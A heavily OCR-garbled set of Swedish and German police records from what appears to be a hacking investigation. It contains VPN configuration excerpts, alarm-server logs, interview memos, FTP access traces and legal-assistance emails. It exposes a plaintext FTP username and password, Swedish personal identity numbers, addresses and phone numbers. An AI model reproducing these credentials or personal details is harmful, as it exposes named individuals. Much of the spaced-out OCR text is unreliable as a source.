[NO N U M BER] M essage Yes gren, SWE D E N .  Amount USD1362 

Utdrag ur filen startVPN.bat 

f :  
c d  f : \a \mysec  
" c : \Program F i les  ( x8 6 ) \0penVPN\bin \openvp n . exe " - - config mysec . conf 
ping  10 . 140 . 0 . 18 

Utdrag ur filen mysec.conf 

dev tape 
ifconfig 10 . 140 . 0 . 242 2 5 5 . 25 5 . 255 . 252  
#loca l  10 . 140 . 0 . 2  
remote 212 . 112 . 186 . 194 
port 40001 
nobind  
#user  nobody 
comp - lzo 
ping  60 
verb 3 
pers i s t - t u n  
pers i s t - key 
sec ret flatline . key 
t u n - mt u  1500 
ms sfix 1450 
#up flatline . up 
s c ript - se c u rity 2 

Utdrag ur filen sefetel_new_format.txt 

Filen skapad den 1 2  april 20 12  

075856040412 Norma l : S011 [#0001437048 I NUH01* Brand  
075902040412 Norma l : S011 [#0001437048 I NUA01* Brand  
075906040412 Norma l : S011 [#0001437048 I NUH01* Brand  
075910040412 Norma l : S011 [#0001437048 I NUA01* Brand  
075919040412 Norma l : S011 [#0001437048 I NUH01* Brand  
075925040412 Norma l : S011 [ #0001437048 I NUA01 * Brand  
080119040412 Norma l : S011 [#0001437048 I NUH01* Brand  

stad s h u set * ] 
stad s h u s et * ] 
stad s h u set * ] 
sta d s h u set * ] 
stad s h u s et * ] 
stad s h u set * ] 
sta d s h u set * ] 

Locat ion :  D rafts 



Polismyndigheten i Stockholms län 

Utdrag ur main.log 

Senast ändrad 8 mars 20 12  

20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

,----""' � 
-"' 
w 
o -"' 
o 
� 

� 
� 
ru· 
� � ru· 
� 

�������������������������������������������������� � 
Sat_Oct __ 8_19 : 51 : 26_2a11 1318a96286 a [ I nfo ] MCS -ALSHU va . 1  ( Ve r : 1258217972 . ax5 c 1a7f86 Date : Sat Nov 14 23 : 59 : 33 ICT 2aa9 Host : flatline UID : 1aaa CWD : a l s h u ) sta rted . � 
S at_Oct __ 8_19 : 51 : 26_2a11 13 18a96286 a [ I nfo ] Local  authentication ID set to ' al s h u l a ba ' � 
Sat_Oct __ 8_2a : 3a : 56_2a11 1318a98656  a [ I nfo ] Got i n coming a l a rm . GUID axae354a7 2 J  protocol #21 ( s i a power ) J  type #15 ( pa n i c ) o 
Sat_Oct __ 8_2a : 31 : a6_2a11 13 18a98666 a [ I nfo ] Got i ncoming a l a rm . GUID ax79383142 J protocol #21 ( s ia power ) J  type #21 ( fi r e )  � 
Sat_Oct __ 8_2a : 31 : 24_2a11 1318a98684 a [ I nfo ] Got i ncoming a l a rm . GUID ax79383142 J protocol #21 ( s iapowe r ) J type #21 ( f i r e )  � Sat_Oct __ 8_2a : 31 : 33_2a11 1318a98693 a [ I nfo ] Got i ncoming a l a rm . GUID axd413b5db J  protocol #21 ( s ia powe r ) J type #21 ( fi re )  � 
Sat_Oct __ 8_2a : 32 : a6_2a11 1318a98726 a [ Info ] Got i ncoming a l a rm .  GUID ax96133bb3 J p rotocol #21 ( sia powe r ) J type #15 ( pa n i c ) � 
Sat_Oct __ 8_2a : 32 : 15_2a11 1318a9873 5  a [ Info ] Got i ncoming a l a rm . GUID axc68b8ec 5 J  p rotocol #21 ( s i a power ) J  type #15 ( pa n i c ) � Sat_Oct __ 8_2a : 32 : 26_2a11 1318a98746 a [ I nfo ] Got i n coming a l a rm .  GUID ax451b2dabJ  p rotocol #21 ( s iapowe r ) J type #12 ( bu rglary )  o 

Sat_Oct __ 8_2a : 32 : 43_2a11 1318a98763 a [ I nfo ] Got i n coming a l a rm .  GUID ax451b2dabJ  protocol #21 ( s ia powe r ) J type #12 ( burglary)  � 
Sat_Oct __ 8_2a : 33 : 15_2a11 1318a98795 a [ I nfo ] Got i n coming a l a rm . GUID axeb1a628aJ  p rotocol #21 ( s iapower ) J  type #12 ( bu rglary )  C, 
Sat_Oct __ 8_2a : 33 : 25_2a11 1318a988a5 a [ I nfo ] Got i n coming a l a rm .  GUID axa 5771536 J  protocol #21 ( s iapowe r ) J type #a ( ot h e r )  � 
S at_Oct __ 8_2a : 3 3 : 36_2a11 1318a98816 a [ I nfo ] Got i n coming a l a rm . GUlD ax5a1b7bd2 J  protocol #21 ( s i a power ) J  type #2 ( d i s a rm )  co 

Sat_Oct __ 8_2a : 33 : 5 3_2a11 13 18a98833 a [ I nfo ] Got i n coming a l a rm .  GUID ax5a1b7bd2 J  protocol #21 ( s ia power ) J  type #2 ( d i s a rm )  
Sat_Oct __ 8_2a : 34 : 25_2a11 1318a98865 a [ I nfo ] Got i n coming a l a rm . GUID axa5771536 J  p rotocol #21 ( s iapowe r ) J type # a  ( ot h e r )  
Sat_Oct __ 8_2a : 34 : 3 5_2a11 1318a98875 a [ I nfo ] Got in coming a l a rm .  G U I D  ax5a1b7bd2 J  protocol # 2 1  ( s i a power ) J  type #2 ( d i s a rm )  
S at_Oct __ 8_2a : 34 : 45_2a11 1318a98885 a [ I nfo ] Got i ncoming a l a rm . GUID ax5a1b7bd2J  protocol #21 ( s iapower ) J  type # 2  ( d i s a rm )  
Sat_Oct __ 8_2a : 34 : 5 5_2a11 1318a98895 a [ I nfo ] Got incoming a l a rm . GUID ax4bba96afJ p rotocol #21 ( s i a power ) J  type # a  ( ot he r )  
S at_Oct __ 8_2a : 3 5 : 28_2a11 1318a98928 a [ I nfo ] Got i n coming a l a rm .  GUID axd8e17c29J  protocol # 2 1  ( s iapowe r ) J type # 2  ( d i s a rm )  
Sat_Oct __ 8_2a : 3 5 : 4a_2a11 1318a9894a a [ I nfo ] Got i n coming a l a rm . GUID axd8e17c29 J  p rotocol #21 ( s iapower ) J  type # 2  ( di s a rm )  
S at_Oct __ 8_2a : 37 : aa_2a11 1318a99a2a a [ I nfo ] Got i n coming a l a rm . GUID axba8917b8 J p rotocol  #21 ( s iapowe r ) J type #15 ( pa n i c ) 
Sat_Oct __ 8_2a : 37 : 15_2a11 1318a99a35 a [ I nfo ] Got i n coming a l a rm . GUID axf4c b77 c 1 J  p rotocol #21 ( s iapowe r ) J type #21 ( f i re )  
Sat_Oct __ 8_2a : 37 : 25_2a11 1318a99a45 a [ I nfo ] Got i n coming a l a rm . GUID axf4c b77 c 1 J  p rotocol  #21 ( s ia powe r ) J type #21 ( fi r e )  
Sat_Oct __ 8_2a : 37 : 36_2a11 1318a99a56 a [ I nfo ] G o t  i n coming a l a rm . G U I D  ax5a8af748 J p rotocol # 2 1  ( s i a power ) J  type # 2 1  ( f i re )  
Sat_Oct __ 8_2a : 38 : 1a_2a11 1318a99a9a a [ I nfo ] Got i n coming a l a rm . GUID ax5a8af748 J protocol #21 ( s iapowe r ) J type #21 ( f i r e )  
Sat_Oct __ 8_2a : 38 : 19_2a11 1318a99a99 a [ I nfo ] G o t  i n coming a l a rm .  G U I D  axba8917b8 J protocol  # 2 1  ( s iapowe r ) J type # 1 5  ( pa n i c ) 
Sat_Oct __ 8_2a : 38 : 29_2a11 1318a991a9 a [ Info ] Got i n coming a l a rm . GUID axb7 3 5 2efe J p rotocol #21 ( s iapower ) J  type #12 ( burglary )  
Sat_Oct __ 8_2a : 38 : 4a_2a11 1318a9912a a [ I nfo ] Got i n coming a l a rm . GUID axb7 3 5 2efe J p rotocol #21 ( s iapowe r ) J type #12 ( bu rglary)  
Sat_Oct __ 8_2a : 39 : 14_2a11 1318a99154 a [ I nfo ] Got  in coming a l a rm . GUID axa625a428 J  p rotocol #21 ( s iapowe r ) J  type  #12  ( bu rglary )  
Sat_Oct __ 8_2a : 39 : 28_2a11 1318a99168 a [ I nfo ] Got i n coming a l a rm .  GUID ax42a8dceeJ  p rotocol #21 ( s iapower ) J  type #a ( ot he r )  
S at_Oct __ 8_2a : 39 : 38_2a11 1318a99178 a [ I nfo ] Got i n coming a l a rm . GUID ax367feead J p rotocol #21 ( s iapower ) J  type # 2  ( d i s a rm )  
S at_Oct __ 8_2a : 39 : 48_2a11 1318a99188 a [ I nfo ] Got i n coming a l a rm . GUID ax42a8dceeJ  protocol #21 ( s i a power ) J  type # a  ( ot he r )  
Sat_Oct __ 8_2a : 4a : 22_2a11 1318a99222 a [ I nfo ] Got i n coming a l a rm . G U I D  ax367feead J protocol # 2 1  ( s ia power ) J  type # 2  ( d i s a rm )  
Sat_Oct __ 8_2a : 4a : 3a_2a11 1318a9923a a [ I nfo ] Got i n coming a l a rm .  GUID ax42a8dceeJ  p rotocol #21 ( s i a power ) J  type # a  ( ot he r )  
Sat_Oct __ 8_2a : 4a : 44_2a11 1318a99244 a [ I nfo ] Got i n coming a l a rm . G U I D  ax367feead J p rotocol  # 2 1  ( s iapowe r ) J type # 2  ( d i s a rm )  
Sat_Oct __ 8_2a : 4a : 53_2a11 1318a992 5 3  a [ I nfo ] Got i ncoming a l a rm . GUID ax39cd8f6fJ p rotocol #21 ( s iapowe r ) J type #a ( ot h e r )  
S at_Oct __ 8_2a : 41 : 26_2a11 1318a99286 a [ I nfo ] Got i ncoming a l a rm . G U I D  ax911fa843 J p rotocol # 2 1  ( s ia powe r ) J type # 2  ( d i s a rm )  
Sat_Oct __ 8_2a : 41 : 36_2a11 1318a99296 a [ I nfo ] Got i n coming a l a rm .  GUID ax911fa843 J protocol #21 ( s i a power ) J  type # 2  ( d i s a rm )  
Sun_Oct __ 9_2a : a6 : 12_2a11 1318183572 a [ I nfo ] Terminating d u e  to s ignal  2 
S u n  Oct 9 2a : a6 : 12 2a11 1318183572 a [ I nfo ] MCS -ALSHU exiting  with statu s  a .  
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PM 1 30205 Besök hos företaget Mysec, 201 3-03-22 1 0 :06 d iarienr: 020 1 -K8 1 864- 1 2 

PM Polisen Datum 

Pol ismynd igheten i Stockho lms län 20 1 3-02-05 

Diarienr (åberopas vid korresp) 

K8 1 864- 1 2  

Besök hos företaget Mysec 

Den 5 februari 20 1 3  besökte John Steenmark, Olle Wahlström, Joakim 
Persson och Gustav Fahlen företaget Mysec på Västberga Alle 60. 
Bakgrunden var att kontrollera en del spår som hittats i Svartholm W args 
material . 

På företaget togs det kontakt med Toste Hedlund, Vd, och Per-Olov Wallgren, 
IT ansvarig. De uppgav att Svartholm W arg sedan 2006-2007 utvecklat och 
kodat deras "larmmottagarmotor" som deras larmkoncept bygger på. De 
berättade vidare att Svartholm W arg fortfarande arbeta sporadiskt med 
projektet och levererade uppdateringar till applikationen. Senast sommaren 
20 1 2 levereades en uppdatering, för detta arbete begärde Svartholm W arg 
ingen ersättning. 

Arbetet innebar att Svartholm W arg hade full tillgång till deras interna nätverk 
i testsyfte. Ä ven om de tyckte att det var märkligt hade de inga problem med 
att han loggade in via VPN till deras nätverk. 

VPN inloggningarna skedde mot IP adressen 2 1 2. 2 1 2. 1 86 . 1 94 som användes 
för att kommunisera med de larmmottagare som ska knytas till 
larmmottag arrnotor. 

Dessa larmmottagare får internt i VPN-nätet en lP-adress med 10 . 1 40.X.X. 
Dessa datorer ska enligt Wallgren alla köra ett Linux operativsystem av typ 
Debian. IP adressen 10 . 1 40.0 . 1 4  kunde vid tillfället för besöket inte 
identifieras och det ska enligt Wallgren normalt inte finnas någon Windows 
dator på det nätverket. Han uppgav vidare att det inte fanns eller har funnits 
någon dator vid namn Flatline i deras nätverk. 

Vid en live undersökning av VPN-servern kunde det konstateras att den haft 
aktiva anslutningar från de kambodjanska lP-adresser som har kunnat knytas 
till Svartholm Warg. Bland annat 1 24.248 . 1 87 .22 .  

Det påträffades två filer, "flatline. key " och "flatline. in. conf" . Wallgren kunde 
inte uppge vad dessa filer innehöll eller varför det låg där de låg. Dessa filer 
har även påträffats i den krypterade containern på beslag 20 1 2-020 1 -
BG25023-26. 

P M  1 30205 Besök hos företaget Mysec.docx 
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Polismyndigheten i Stockholms län 20 1 3-02-05 K8 1 864- 1 2  

Wallgren uppgav att han för länge sedan, uppskattningsvis l O år sedan, hängde 
på IRC och #hack.se .  Han hade fortfarande kontakt med "Happy H", Mikael 
Hägerbro. Hägerbro och Dennis Ålund har ett företag ihop som heter Oddbits 
och som har utvecklad en mobil applikation åt Mysec. 

Oddbits hade fått lov att ha sin webserver hos Mysec, detta visade sig vara den 
server som heter demo.hack.se och har lP-adressen 2 1 2. 1 1 2. 1 86 .220. Wallgren 
uppgav att han inte kände till innehållet på servem. 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 
U ppgiftslämnare 

Wahlström, Olle 

PM 
Passagen 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Datum Tid 

20 1 2-05- 1 1  1 3 :23 
Beslag verkstäl lt Material för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

Olle Wahlström 

U ppgiften avser 

FTP anslutningar till Passagen 
U ppg ift 

Mottaget datum Tid 

I beslag 20 1 2-020 1 -BG l 022 1 - 1 4  återfanns i internethistoriken spår av att datorn använts för 
att ansluta via FTP till passagen.se. Sannolikt är användarnarnnet "dirox" och lösenordet 
"qw97p48z" . 
20 1 2-03-29 20 : 37 : 1 2  
20 1 2-03 -29 20 : 37 : 1 6  
20 1 2-03-29 20 :37 :2 1 
20 1 2-03-29 20 :3 8 : 59  
20 1 2-03-29 20 :4 1 : 1 1  
20 1 2-03-29 20:4 1 : 1 6  
20 1 2-03-29 20:4 1 :47 

>ftp :/l dir o x:  qw97p48z@ftp. passagen. se/ 
>ftp:/ /dirox:qw97p48z@ftp.passagen.se/Linux/ 
>ftp :/l dir o x:  qw97p48z@ftp. passagen. se/Linux/Hacking/ 
>ftp :/l dir o x:  qw97p48z@ftp.  passagen. se/Linux/ 
>ftp ://dirox:qw97p48z@ftp.passagen.se/Linux/Scripts/ 
>ftp://dirox:qw97p48z@ftp.passagen. se/Linux/kontoninfo 
>ftp :/l dir o x:  qw97p48z@ftp. passagen. se/Linux/infotousers . txt 

Även i beslag 20 1 2-020 1 -BG1 022 1 - 1 9  återfanns spår av att man anslutit via FTP till 
passagen. Nedan följer några exempel på anslutningar som fanns sparade i datorn: 
ftp :/l dir o x: qw97p48z@ftp.  passagen. se/bilar/Polisbilar 
ftp :/l dir o x:  qw97p48z@ftp. passagen.se/keys/ 
ftp://dirox:qw97p48z@ftp.passagen.se/scripts/ 
ftp://dirox:qw97p48z@ftp.passagen.se/a/a.apk 
ftp :/l dir o x: qw97p48z@ftp. passagen. se/ archive/hack2 .rar 

I beslaget 20 1 2-020 1 -BG 1 022 1 -25 (mobiltelefon Sony Ericsson) förekom användamarnuet 
"diROX" i en chat-applikation. 

1 09 
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Polisen 
Rikskri m i n a l pol isen 

KPE-KUT 
Människohandel 
Per Englund 
krinsp 

Fråga på tfn 0240-19883 

PM 

Datum 

20 1 2-04- 1 1 

Den 4 mars kl. 1 6 .24 ställs en fråga till TeleNix om telefonnummer 0240-
1 9883 . 

Frågeställare: 

lP-nr 46.59 .5 1 . 181  
Anvä n d a re : BSN0058 

Tella/Sonera 

De uppger att telefonnumret är porterat till Bredbandsbolaget 2006-08-28 .  
Innehavaren då  var Kenneth Gustafsson, pnr 5303 1 1 72 1 1 .  

Telenor/Bredbandsbolaget 

Abonnemanget är idag inte aktivt. Det har funnits två (2) abonnenter på abon
nemanget. 

Den första mellan 2006-08-28 - 2009-0 1 -25 ,  hemligt nummer. 

Den andre mellan 2009- 1 0-3 1 - 20 1 0-09-0 1 ,  Sara Schröder, 8 8 1 023-7 142,  
Furuhällsgatan 6, Ludvika. 

Per Englund 

PM 1 204 1 1 Fråga på tfn 0240-1 9883.docx 
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Polisen 
Rikskrim ina lpol isen 

KPE-KUT 
Människohandel 
Per Englund 
krinsp 

PM 

Datum 

20 1 2-04- 1 1  

Abonnemang/ registrerade kontantkort, hos Telenor, tillhörande 
Mathias Gustafsson 

På fråga uppger Telenor följande : 

Han har endast fem (5) kontantkort registrerade på sig på Telenor. Han har 
inga telefonabonnemang eller kontantkort, registrerade på sig, på Glocalnet 
eller Bredbandsbolaget 

• 0708- 1479 1 9 .  Användes endast en dag 20 1 1 -08- 1 8 . O kr kvar. 
• 0708- 147924. Har aldrig använts .  O kr kvar. 
• 0709-37366 1 .  Har aldrig använts .  O kr kvar. 
• 0709-756443 . startade 20 1 2-0 1 -09, sista ut-samtal, idag, 20 1 2-04- 1 1 .  
• 0733-95 1 803 . Har aldrig använts .  O kr kvar. 

Enligt Telenor kan man Surfa på alla kontantkort men det måste finnas pengar 
på kortet. 

Per Englund 

PM 1 204 1 1 Abonnemang registrade på Mathias Gustavsson.docx 
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Baden -Wi.irttemberg 
D E R  L E I T E N D E  O B E RSTAATSANWALT I N  KARLS R U H E  

S taatsan wa l tschaft Karlsruh e • Akademiestralle 6-8 • 76 1 3 3  Karlsmhe 

Swed i s h  P rosecut i o n  Autho rity 

I nternat i o n a l  P u b l ic P rosecut ion Office 

Box 70296 
1 0 7  2 2  STOCKH O L M  

S C HW E D E N  

Datum 3 1 . 0 7 . 2 0 1 2  

Name Erster Staatsanwa l t  Bogs 
Durchwahl 072 1 926-2 7 1 3 

Aktenzeichen 630 AR 6 77/1 2 R h E  (B itte bei Antwort angeben ) 
l nterna.ti o n e i !-a P.k lagarkam maren stockhalm 

� Rechts h i lfeve rke h r  i n  strafrecht l i c h e n  Ange l eg e n heite n  m it Schweden 

l h r  Ze i c h e n  AM-52 1 24- 1 2 

l h r  E rs u c h e n  vo m 1 1 .  J u n i  20 1 2 

A n l a g e n  

a )  B lattsa m m l u n g  ( Rechts h i lfevo rg a n g )  
b )  S c h re i b e n  d e s  Po l ize iposten Ka rl s r u he-Aka d e m iestra r.,e vo m 2 7 . 0 7 . 20 1 2 
c )  E - M a i i-Ve rke h r  m it d e r  F i rm a  I N L I N E  I nternet O n l i ned i enste G m b H ,  

Ka i s e rstra r.,e 1 2 1 ,  76 1 33 Karl s ru h e  

S e h r  g e e h rte D a m e n  u nd H e rre n ,  

n a c h  Absch l uss d e r  Rechtsh i lfe u b e rsen d e  i c h  l h ne n  d i e  U nter lag e n . D i e  
m a r.,g e b l i c h e n  I nfo rmatio n e n  b efi n d e n  s i c h  i n  d e m  E- M a i i -Ve rke h r  m it d e r  F i rm a  
I N L I N E  I nternet O n l i n ed ie n ste G m b H ,  Ka i s e rstra r.,e 1 2 1 ,  76 1 33 Ka rlsru h e .  

M it vo rzug l i c h e r  ko l l e g i a l e r  H o c h achtung 

lm Auftrag 

O be rstaatsanwä l t i n 

;\kademi estraf.le 6-8 • 76 1 33 Karlsruhe • Tel efon 072 1 926-0 • Telefax 072 1 926-5007 • S traflen bahnha ltestd k :  Europaplatz 

poststdle@stakarlsruh e.j ustiz .bwl .de • www. stakarlsruhe.de • www.service-bw.de 
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Baden -Wiirttemberg 
P O L I ZEI P RÄS I D I U M  KARLS R U H E  

P O  LIZE l P O STEN KARLS R U H E-AKADEM l ESTRME 

Pol izeiposten KA-Akadem iestra l1e . Akadem iestr. 1 . 76 1 33 Ka rls ruhe 

Staatsanwaltschaft Karlsru he 

Akadem iestrar..e 6--8 
76 1 33 Karlsruhe 

� 630 AR 677/ 1 2 

Datum 27 . 07 . 20 1 2  

Name Grossmann 

Durchwahl 072 1  91 387 - 1 3  

CNP 
Aktenzeichen SPH/1 1 25228/2 0 1 2  

(Bitte b e i  Antwort angeben) 

l nternat io na ! la Aklagar
kammaren Stockho lm 

I nk. 2 0 1 2  -08- O 8 
AM� 

1 09- i H n r. 

I ch habe d i e  F i rm a  l n l i n e  a n g efragt .  Der M a i lverke h r  i n klusive Antwort ist beigefUgt. 

Anlag e 

Akademiestr. l · 76 1 3 3  Karlsruhe · Telefon 072 1 9 1 3 8 7 - O · Telefax 0 72 1  9 1 3 8 7 - 49 · KARLSRUHE-AKADEMIESTRAS S E . PW1j)polize i bwlde 

1 1 3 

ÖPNV-Anschluss �2 7. ,J U L. 20"\ 2 
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���������==������------------------------11 1 4 ..l ross m a n n ,  Bernd 
Von :  Gesend et: C h risto ph Ka ufm a n n  [kaufm a n n @ i n l i n e . de]  

D i enstag , 24. J u l i  20 1 2  1 5 : 0 1  An : G ross m a n n ,  Bernd Cc:  R e n ate C h rist Betreff: R e :  Fwd : Fwd : WG:  Anfrag e  zu l P  Ad ressen D ri n g e n d  

Gu t e n  T a g  H e r r  G r o B m a n n , 

. .  i r  h a b e n  d i e  s e  I n f o rma t i o n e n  b i s h e r  n u r  a n  H e r r n  D i a r r a  vom B KZ\ v e r s c h i c k t . 
D e s h a l b  f O g e  i c h  I hn e n  d i e s e  E - Ma i l  h i e r  g e rn e  n o c hmal a n : 

S e h r  g e e h r t e r  H e r r  D i a r r a , 

B i t t e e n t s c h u l d i g e n  S i e  d a s s  d i e  E rm i t t l u n g  d e s e n t s p r e c h e n d e n  Nut z e r s  
d e r  I P  z um a n g e f r a g t e n  
Z e i t p u n k t  s o  l a n g e  g e d a u e r t  h a t , l e i d e r  w u r d e  a u f g r u n d  e i n e s  t e c hn i s ch e n  
P r o b l em s  de r Kunde n s e r v e r  
p h y s i k a l i s c h  n a c h  Klin d i g u n g  du r c h  d e n  Ku n d e n  n i c h t  a b g e s c h a l t e t  u n d  
d a r um w a r  de s s e n  I P  Adr e s s e  
n i c h t  z u g e t e i l t  s o  d a s s  w i r  d i e s e  e r s t um s t ä n d l i ch d u r c h  An a l y s e  
d i ve r s e r  L o g f i l e s  u n d  D a t e nb a n k e n  
e rm i t t e l n  k o n n t e n . 

D e r S e r v e r  w a r  f a l g e n d e r  P e r s o n z u g e o rdn e t : 

C l i e n t s I n f o rma t i o n 
F i r s t  N ame 
L a s t  N ame 
C o mp a n y  N ame 
Ema i l  Actdr e s s  
Actdr e s s  l 
Actd r e s s  2 

q i n g  
l i n 

l i n q i n g  
i n f o @ di n g d i a n . c n 

x i n y u a n  b u i l d i n g 3 0 7  g u a n g  h u a  

C i t y  p u t i a n 
S t a t e / R e g i o n  
P o s t c o d e  
C o u n t r y  
P h o n e  N umb e r  

f u j i a n  
3 5 1 1 0 0  

C N  - C h i n a  
0 8 6 1 3 7 9 9 6 5 1 2 7 7  

r d  3 5  

D i e  l e t z t e n  Z a h l un g e n  g i n g e n  w i e  f o l g t  v i a  P a y P a l  e i n : 

1 8 / 1 0 / 2 0 1 1  P a y P a l I n v o i c e  P a ym e n t  ( # 1 0 5 9 4  
< h t t p : / / va l u e s e r v e r . d e / a dmi n / i nv o i c e s . p hp ? a c t i o n= e d i t & i d = 1 0 5 9 4 >  

< h t t p : / / v a l u e s e r v e r . de / a dmi n / i nv o i c e s . p hp ? a c t i o n = e d i t & i d= 1 0 5 9 4 >  ) - T r a n s  I D :  
6 1 K2 3 6 2 7 NN 6 0 0 8 4 5 B 

7 9 . 6 0 € 4 . 4 9 € 0 . 0 0 € 

2 8 / 0 9 / 2 0 1 1  P a y P a l  I n v o i c e  P a ym e n t  ( # 1 0 5 6 5  
< h t t p : / / va l u e s e r v e r . d e / a dm i n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= l 0 5 6 5 >  

< h t t p : / / v a l u e s e r v e r . de / a dm i n / i n v o i c e s . p hp ? a c t i o n= e d i t & i d= l 0 5 6 5 >  ) - T r a n s  I D :  
2 W H 5 4 8 3 8 T 4 8 1 6 4 2 4 1 

7 9 . 6 0 € 4 . 4 9 € 0 . 0 0 € 

2 8 / 0 9 / 2 0 1 1  P a y P a l  I nv o i c e  P a yme n t  ( # 1 0 5 4 0 
< h t t p : / / v a l u e s e r v e r . de / a dm i n / i n vo i c e s . p hp ? a c t i o n = e d i t & i d = 1 0 5 4 0 >  

< h t t p : / / v a l u e s e r v e r . d e / a dm i n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= l 0 5 4 0 >  ) - T r a n s  I D :  
3 AC 1 3 8 4 1 H 5 5 2 3 6 8 3 J  

7 9 . 6 0 € 4 . 4 9 € 0 . 0 0 € 

2 8 / 0 9 / 2 0 1 1  P a y P a l  I n v o i c e P a yrn e n t  ( # 1 0 5 1 8  
< h t t p : / / v a l u e s e r v e r . d e / a dmi n / i n 'lo i c e s . p hp ? a c t i o n=e d i t & i d= 1 0 5 1 8 >  

< h t t p : / / v a l u e s e r v e r . d e / a dm i n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= 1 0 5 1 8 >  ) - T r a n s  I D :  
4 N P 2 2 3 5 2 1 0 8 4 8 4 5 0 J  

7 9 . 6 0 € 4 . 4 9 € O (' (; (;' • V '..! '--" 

1 
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����������������------------------------11 1 5 
2 8 / 0 9 / 2 0 1 1  P a y P a l  I nv o i c e  P a yme n t  ( # 1 0 5 1 0  
< h t t p : / / va l u e s e r v e r . de / a dmi n / i n vo i c e s . p h p ? a c t i o n = e d i t & i d= 1 0 5 1 0 >  

< h t t p : / / va l u e s e rv e r . de / a dmi n / i n vo i c e s . p hp ? a c t i o n = e d i t & i d= l O S l O >  ) - T r a n s  I D :  
9AH 4 8 2 2 8 8 0 6 0 6 3 5 1 5  

7 9 . 6 0 € 4 .  4 9 € 0 . 0 0 € 

1 4 / 0 9 / 2 0 1 1  P a y P a l  I nv o i c e  P a ym e n t  ( # 1 0 4 9 1 
< h t t p : / / va l u e s e r v e r . d e / a dmi n / i nv o i c e s . p hp ? a c t i o n = e d i t & i d= l 0 4 9 1 >  

< h t t p : / / va l u e s e r ve r . de / a dmi n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= l 0 4 9 l >  ) - T r a n s  I D :  
4 A7 1 2 7 8 6ML 7 9 8 5 2 4 S  

7 9 . 6 0 € 3 . 4 5 € 0 . 0 0 € 

0 7 / 0 9 / 2 0 1 1  P a y P a l  I n v o i c e  P a ym e n t  ( # 1 0 4 8 4  
< h t t p : / / va l u e s e r ve r . de / a dm i n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= 1 0 4 8 4 >  

< h t t p : / / va l ue s e r ve r . d e / a dmi n / i n v o i c e s . p hp ? a c t i o n = e d i t & i d= 1 0 4 8 4 >  ) - T r a n s  I D :  
3 0X 7 6 2 4 0 X 3 2 3 3 0 3 1 M 

2 0 . 0 0 € 1 . 1 3 € 0 . 0 0 € 

W i r g e h e n  a l l e r d i n g s  d a v o n  a u s  da s s  d e s s e n Re c h n e r  g e h a c k t  w u r d e  u n d  
d a s s  e r  v e rmu t l i c h n i c h t  s e l b s t  
Ve r u r s a c h e r  i s t . D i e  I P  Adr e s s e n wu rde n mi t t l e r we i l e  g e s p e r r t , M a G n a hme n 
um s o  e t w a s  ku n f t i g  z u  v e r h i n d e r n  
w e r d e n  e r gr i f f e n . D e r  S e r v e r  a n  s i c h i s t  n o c h  v e r fugb a r  u n d  k a n n  w e n n  
n ö t i g  g e s i c h e r t  w e r d e n  ( w i r  b i t t e n  
w e n n  h i e r fu r  e i n e  N o t we n d i g k e i t  b e s t e h t  u m  z e i t n a h e n  B e s c h e i d  darni t w i r  
d i e s e n  S e r v e r a u s  d e m  P r o du k t i vb e t r i e b 
e n t f e r n e n  k ö n n e n . 

M i t  f r e u n d 1 i c h e n  G r u 5 e n  
C h r i s t op h  K a u fm a n n  

M i t  f r e un d l i c h e n  G r u 5 e n  
C h r i s t op h  Ka u fman n  

- - - - - - - - O r i g i n a l - N a c h r i c h t  - - - - - - - -

B e t r e f f : WG : An f r a g e  z u  I P  Ad r e s s e n  
D a t um :  T u e , 2 4  J u l  2 0 1 2  1 1 : 5 2 : 0 6 + 0 0 0 0  
Von : G r o s s m a n n , B e r n d  < B e r n d . G r o s s m a nn @ p o l i z e i . b w l . de >  
<ma i 1 t o : B e r n d . G r o s s m a n n @ p o l i z e i . b w l . de > 
An : c h r i s t @ i n 1 i n e . de 

S e h r  g e e h r t e  F r a u  C h r i s t ,  

L e i d e r  h a b e  i c h b i s  h e u t e n o c h  k e i n e  An w o r t  a u f  m e i n e  An f r a g e  e r h a l t e n . 

Kö n n e n  s i e b i t t e  f e s t s t e l l e n ,  w a s  a u s  d e r  S a c h e  g e w o r d e n  i s t  ? 

D i e  s c h w e d i s c h e n  B e h ö r d e n  s t u f e n  d i e s e  An f r a g e  mi t h ö c h s t e r  E i l e  e i n .  

Fu r i h r e  M u h e  v i e l e n D a n k  

B e r n d  G r o Bm a n n  
P o l i z e i h a up t me i s t e r  

- - - - - O r s p r u n g 1 i c h e  N a c h r i c h t - - - - 
V o n : G r o s s m a n n , B e r n d  
G e s e nde t : M i t t w o c h , 1 1 . Ju l i  2 0 1 2 0 9 : 2 8 
An : ' c h r i s t @ i n l i n e . de ' 
B e t r e f f : WG : An f r a g e z u  I P  Adr e s s e n 

2 
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H a l l o  r r a u  C h r i s t ,  

I c h m ö c h t e  s i e b i  t t e n ,  mi r den E i n g a n g  m e  i n e r  fl.n f r a CJ e  k u r  z z u  b e s t ä t i g e n  u n d  m i r 
n a c h  Mö g l i c h k e i t  m i t z u t e i l e n , wann m i t  e i n e r  B e a n t wo r t ung d e r  An f r a g e in e t wa z u  
r e c h n e n  i s t . 

V i e l e n  D a n k f u r  i h r e  M u h e . 

B e r n d  G r o B m a n n  

- - - - - O r s p r u n g l i ch e  N a c h r i c h t - - - - 
V o n : G r o s s m a n n , B e rnd 
G e s e n d e t : Mo n t a g ,  9 .  Ju l i  2 0 1 2  1 5 : 0 3 
An : ' c h r i s t @ i n l i n e . de '  
B e t r e f f : An f r a g e  z u  I P  Adr e s s e n 

S e h r  g e e h r t e  F r a u  C hr i s t , 

me i n  Ko l l e g e  M o l i t o r  h a t t e  mi t i hn e n  t e l e f o n i e rt , s i e  b a t e n  um d i e  b e t r e f f e n d e n 
I F - Adr e s s e n . 

I c h h a b e  d i e b e t r e f f e nd e n  I P s im b e i g e f u g t e n  P D F  D o kume n t . 

I c h b i t t e  s i e ,  m i r a l l e  b e i  i h n e n  v o r l i e g e nd e n  E r k e nn t n i s s e  z u  d i e s e n  I P  
Adr e s s e n  z u  Ube r m i t t e l n . 

